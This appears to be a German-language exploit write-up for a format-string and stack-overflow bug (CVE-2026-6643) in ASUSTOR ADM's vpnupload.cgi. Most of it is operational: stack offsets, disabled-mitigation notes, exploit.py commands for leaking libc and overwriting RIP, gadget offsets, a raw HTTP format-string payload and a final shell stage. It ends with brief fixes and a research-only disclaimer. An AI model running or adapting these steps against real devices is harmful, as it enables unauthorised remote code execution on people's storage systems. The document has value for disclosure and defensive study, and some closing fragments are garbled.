
ASUSTOR ADM 5.1.2 vpnupload.cgi Format-String- und Stack-Pufferüberlauf-RCE (CVE-2026-6643)
Format String (CWE-134) + Stack Buffer Overflow (CWE-121) in vpnupload.cgi
| Feld | Wert |
|---|---|
| Produkt | ASUSTOR ADM (ASUSTOR Data Master) |
| Betroffene Version | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| Komponente | /portal/apis/settings/vpnupload.cgi — upload_wireguard Aktion |
| Art der Sicherheitslücke | CWE-134 Format String / CWE-121 Stack Buffer Overflow |
| Schweregrad | Hoch |
| Authentifizierung erforderlich | Ja (gültiges Revive_Session Cookie) |
| Entdeckungsdatum | 2026-03-14 |
Der upload_wireguard-Handler parst eine WireGuard-Konfigurationsdatei, setzt die Felder zu einem JSON-Objekt zusammen und übergibt das Ergebnis dann direkt als Format-String-Argument an printf():
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // benutzergesteuerter Format-String
Ein Angreifer kann printf-Formatbezeichner in jedes WireGuard-Konfigurationsfeld einbetten:
%x / %p — Stack-Speicher auslesen (Informationsleck)%n — in beliebigen Speicher schreiben (Codeausführung via GOT-Überschreibung)Derselbe Handler verwendet unbegrenztes sscanf("%s"), um Konfigurationswerte in 300-Byte-Stack-Puffer zu kopieren, während fgets bis zu 32.768 Bytes pro Zeile akzeptiert:
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 Felder insgesamt; nur DNS hat eine Längenbegrenzung
Die Bereitstellung von mehr als 300 Bytes führt zu einem Überlauf in benachbarte Puffer. Bei 4.000 Bytes wird das gespeicherte RIP beschädigt, was SIGSEGV verursacht.
| Schutz | Status | Auswirkung |
|---|---|---|
| FORTIFY_SOURCE | Deaktiviert | printf (nicht __printf_chk) — %n-Schreiben funktioniert |
| Stack Canary | Deaktiviert | Kein Canary-Leak erforderlich |
| PIE | Deaktiviert | GOT- und Gadget-Adressen sind statisch |
| RELRO | Teilweise | GOT ist beschreibbar |
Schritt 1 Format-String %x → Stack-Speicher leaken, libc-Basis wiederherstellen
Schritt 2 Endpoint-Überlauf → Gespeichertes RIP mit one-gadget / system() überschreiben
Schritt 3 execve("/bin/sh") → Shell als Webserver-Benutzer
local_164 (der Endpoint-Puffer) liegt bei rbp-0x164, der nächste der acht Puffer zur gespeicherten Rücksprungadresse:
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← Ziel
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 Bytes entfernt
sscanf("%s") hört beim Kopieren bei einem Null-Byte auf. Eine libc-Adresse (0x7f...) im Little-Endian-Format endet mit zwei Null-Bytes. Allerdings enthalten die oberen zwei Bytes jedes gespeicherten RIP bereits 0x0000, sodass der Schreibvorgang korrekt erfolgt, obwohl sscanf vorzeitig abbricht:
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stoppt hier
aber diese Bytes waren bereits 0x00 → korrekt
Alle zwischengeschalteten ROP-Gadgets müssen ebenfalls aus libc stammen (Bereich 0x7f...), um eingebettete Null-Bytes zu vermeiden. Nur der endgültige Wert in der Kette darf mit Nullen enden.
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
Example output:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
Example output:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
Identifiziere das Symbol und berechne die libc-Basis:
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
Extrahiere libc.so.6 aus dem Firmware-Image und führe dann aus:
# system() offset
readelf -s libc.so.6 | grep -w system
# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget offsets
one_gadget libc.so.6 # gem install one_gadget
Aktualisiere die Konstanten in exploit.py:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
Hinweis: Es sind zwei Multipart-Abschnitte erforderlich. Der Parser verwendet einen Grenzzähler; die
sscanf-Analyse wird nur im zweiten Abschnitt aktiviert.
Antwort (Feld clientprivatekey):
AAAA_feebd19f_0000012b_0000007d_00000002
Setze PrivateKey auf 4.000 Bytes → SIGSEGV (Exit-Code 139).
| Sicherheitslücke | Behebung |
|---|---|
| Format-String | Ersetze printf(pcVar2) durch printf("%s", pcVar2) oder fputs(pcVar2, stdout) |
| Pufferüberlauf | Füge Längenbegrenzungen zu allen sscanf-Formatstrings hinzu (z.B. %299s für 300-Byte-Puffer) |
X64_G3_5.1.2.REO1.img — vpnupload.cgi aus dem Image extrahiertld-linux und gemeinsam genutzten Bibliothekenje → jmp bei Offset 0x1224 (nur für lokale Tests)Dieser Exploit wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt. Nicht gegen Systeme ohne ausdrückliche Genehmigung verwenden.